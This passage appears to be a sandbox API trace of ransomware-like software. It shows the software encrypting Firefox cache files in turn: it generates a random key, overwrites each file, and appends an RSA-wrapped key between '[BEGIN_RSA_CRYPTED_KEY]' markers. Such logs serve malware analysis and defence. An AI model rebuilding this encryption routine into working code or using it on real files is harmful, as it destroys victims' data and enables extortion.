nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x43a, lpOverlapped=0x0) returned 1 [0253.846] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.846] WriteFile (in: hFile=0x1b84, lpBuffer=0x313e810*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x43a, lpOverlapped=0x0) returned 1 [0253.847] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x43a [0253.847] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.847] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.848] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.848] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.848] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.848] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fPXpp0GL3dpd3E8r6Cn69Jr9Qeld7tF1GFMBghVaL0jtagt9kbNiDY4gIx/ZmIZC\nNDuZD8ODyWzQhPgI4Sf7ggDerYiYonML1LPIIqdX0yJT9oR2L+r2zrjAH/ha3oPr\npjuyK6Hr0WMCm5QaMcWxOQNkIwOxjfFWS0dr9Bwp3pgAA+uRjRp4uuxlFuBCQjCw\npasb1u75HtcZga7J/+SG5YJkbEZjkG3WLoLhzFqMmCKvYc394bFgagsMfqRCk8qH\nxVIRrh7jgJ7McTSO/Ul3ODAYOfSiZWuDmPxQlqAvULcpdMBe5/+hnZqszZgccsNA\n73vMGwt+5N7EYLKC3Q80Gw==\n", pcchString=0x2e3f9a8) returned 1 [0253.848] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.849] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.849] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.849] CloseHandle (hObject=0x1b84) returned 1 [0253.895] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.895] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E43746A7E13D67030ED93C5AE62428FF9D2C54EC", dwFileAttributes=0x80) returned 1 [0253.896] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x1131, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x1131, lpOverlapped=0x0) returned 1 [0253.936] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4401, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.936] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f198*, nNumberOfBytesToWrite=0x1131, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f198*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1131, lpOverlapped=0x0) returned 1 [0253.937] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1131 [0253.937] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.937] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.937] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.937] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.938] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.938] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IDdnG1Il9/U11bUE9JAyeQ6V1ervxg1bBcTJN1Ns+8FkBzkM9x58NE9Oxri06FMl\nvVM8beqmkta/7bqyfwDIqAD3KRpHnAS1DDClucjcy1/Z4Dud1oftdOTn+HW+pEXK\nS4CzooEer62+dUGtRUrP9uJSmzcqcGF1V7NRgyHfjz+bgtDdpSS/4HOWmIzuAkDd\njcbDXj9X+YyWQhBgke4ugGHK0iEW6WTmokp5xD3YRX1vden0kCt3++rVGbrTFZxF\nR2LsUd8R0uRlpUpXbbFe1dxhd8h7LDOjW8oDzed6ZEAW6J/c/A92+CiLoYdxEE+p\n0RUSLIW8/O7Cj1J1asXWUg==\n", pcchString=0x2e3f9a8) returned 1 [0253.938] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.938] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.938] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.939] CloseHandle (hObject=0x1b84) returned 1 [0253.941] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.941] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E325B486B777C14C29762600D998974140F8FD34", dwFileAttributes=0x80) returned 1 [0253.941] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xaba, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xaba, lpOverlapped=0x0) returned 1 [0253.954] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2746, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.954] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xaba, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xaba, lpOverlapped=0x0) returned 1 [0253.955] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xaba [0253.955] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.955] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.956] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.956] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.956] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.956] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ks4Kh+ZVYUwkKoML2Jjp14SZOyFTGgviLASY4q/p8bKhrK6e6qw2KZgD5dJ0zEk7\n1f6ltzyN6ARLoWQ/1zN6dLzI0qpV3Z1H5r7W0ap5oW/D06s/mCAwt7+k7Errl5/y\nIAEdsKOFHiRgqchBnARFmBVV1nZrpeGpX18u3eb1kXx6D/RKaRtBP2TpZkJuvfpl\ncIX6ay29pZ1+5UfCYYbHCXf9NEidEvUcWWzl4HTgjvsrjqfIQML1SkqXKF6oq0se\np0dk6Cko3SjJyh0HPOcHn1E1lyFR/DK1H8AzaHcQ6q5tviGHPmiHT5pyQoddX0NF\notF2HcvPQxntzBIC6W7fDA==\n", pcchString=0x2e3f9a8) returned 1 [0253.956] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.956] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.956] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.956] CloseHandle (hObject=0x1b84) returned 1 [0253.958] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.958] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E2516D950295AF7E41F2D3F7C3A5D41E2BE62F25", dwFileAttributes=0x80) returned 1 [0253.959] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x1516, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x1516, lpOverlapped=0x0) returned 1 [0253.972] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5398, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.972] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f578*, nNumberOfBytesToWrite=0x1516, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f578*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1516, lpOverlapped=0x0) returned 1 [0253.973] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1516 [0253.973] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.973] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.973] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.973] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.974] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.974] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ymoDNR1nFHALvl7yO9SdD/ryshIo896LJ61VSnne0gYwYxWmTy5gH6MsjVhGYVZF\n76qnrB748k4iT+ZqAfd5dmsJCVfqrS0Xb+svo5IpBqhLokBVoTgkFZn/ULzI2Jg2\nZLN4MsEOwjslCuV/SoEOgnTnP55jAa7yamPun8QUnQpoqgP6cY9uA+jozSR+N09t\n6Onr2nOR2w3r2DmbVAcf3U+nlQnHbfhAmYcKYpT38qIUj5IDEyabEiWL7XakZzGt\nvLo0QicWkxPDb82mdYEOXVRCoA/Rf1b6gsZED9vX9TuPm6XzMsHpWO8Mn2Dl6s0b\nrC6Fr3As6xl5aNF+v93vQQ==\n", pcchString=0x2e3f9a8) returned 1 [0253.974] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.974] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.974] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.974] CloseHandle (hObject=0x1b84) returned 1 [0253.976] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.976] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E1D096CAF9A69514FA64B75AE074940EA158AB01", dwFileAttributes=0x80) returned 1 [0253.976] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x1139, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x1139, lpOverlapped=0x0) returned 1 [0253.992] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.992] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f1a0*, nNumberOfBytesToWrite=0x1139, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f1a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1139, lpOverlapped=0x0) returned 1 [0253.993] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1139 [0253.993] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.993] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.994] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.994] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.994] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.994] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mxuQTjzGjXV/nnkrRwr6nq8Afb84QCwUo6qsSXbyKvKF/r6KnYdNLh8BA3C5tGNh\nZuztbKywOA8CbOphX0QR6TMKYq7jP9adTk2UmdmJPCXD6pvv4OIKKKOqnRuAKEY/\nYyhpWedsEnACNGxO8LHeNtz17zfJn7cT8EAapbIHyXLbGwXT9Ge0TzLqOHBudun9\nbKhHATEOwJtqhIC2eNfIZaX+hUDihPCfkrQ7be3EPmqWWRMIFx5IJJ3mz0FLWTHF\nq8xAckWPkCill2Fdtwxy0uUvmUIzGeFp2xk4cMxR/qDO1KxoCLEhEjhqaVJKctOj\nKtjF4T7SJlB79jLXYxZ1dA==\n", pcchString=0x2e3f9a8) returned 1 [0253.994] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.994] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.994] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.995] CloseHandle (hObject=0x1b84) returned 1 [0253.996] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.996] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E1BC6A923627E0CE8F0C91AFD6BFC64BC126757B", dwFileAttributes=0x80) returned 1 [0253.996] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xf30, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xf30, lpOverlapped=0x0) returned 1 [0253.998] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.998] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf30, lpOverlapped=0x0) returned 1 [0253.998] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf30 [0253.998] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.998] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.999] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.999] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.999] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.999] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8Yi4bWjy6oWEjZl8/HZr/rwgEz6rYdzVAonjDC3T6GkgRtd+KDlMnVgUhZ41Uug/\nuOaXOHJTH+y5p1NSTp7dvWxR+q7eiJR/MFPIUtN+Z8M7c1uM9IbX6WEvH2JyzzYh\nvGjlD5vbvv0EK0d97NmaxXQXBLukcehfvR/eCtai87sli1RXh7RhrgiATWiQH5uj\nclqzylax5wyo1/Tc52gL2AtQ91iT3ZcbhB524CNNiV5fS4DinFT9FydbBPMDemlD\naEfH4OKWZzxEqmqcSIeJJ5hPAw7tSjcJkOIezDq5w2xa/3Q758ap5q2wBgXXkCoA\nGvMnhp1My110MyJb25rkhQ==\n", pcchString=0x2e3f9a8) returned 1 [0253.999] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.999] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.999] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.000] CloseHandle (hObject=0x1b84) returned 1 [0254.001] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.001] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E15FBD4CC8ACB929DDBBF5236C2285581B3AAAE6", dwFileAttributes=0x80) returned 1 [0254.002] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xf30, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xf30, lpOverlapped=0x0) returned 1 [0254.029] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.029] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf30, lpOverlapped=0x0) returned 1 [0254.030] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf30 [0254.030] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.030] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.030] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.030] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.031] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.031] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TDpdbdHW74Tg+QpF1kJZRXdqEwgjfUtBZ/Z5ELrIgK8A0DjdlNqQREKra4vuSB24\n+ehJtR+hJTde1+j6tew+xYwxBZ+P98wYFjdmckm9Pn/I2aHjevzyIxeEGw2B9k5R\nDcX4hya2R9/GqJjC0VR9yKsHXLI4cB19Zvv7yofOueTCtewIOg4MlZrrkvL2neHk\nuUmxQqjIueOGCavuDNAH818+3WwYW9bHkfok6tGyEbU1flJnJgNvvSPJMYKdFJXF\nJBOuaR8RMmZIbWxBv4in7OoSF5W7fgIrb3scoXZM1Jq9w/V0I3MAOs+mgp8qG9Zo\nMJErCYhST0yKvkXqCv9vkg==\n", pcchString=0x2e3f9a8) returned 1 [0254.031] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.031] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.031] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.031] CloseHandle (hObject=0x1b84) returned 1 [0254.035] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.035] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E0E842CE092A1406147C113A64AF2D607E5F714C", dwFileAttributes=0x80) returned 1 [0254.035] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e0e8, 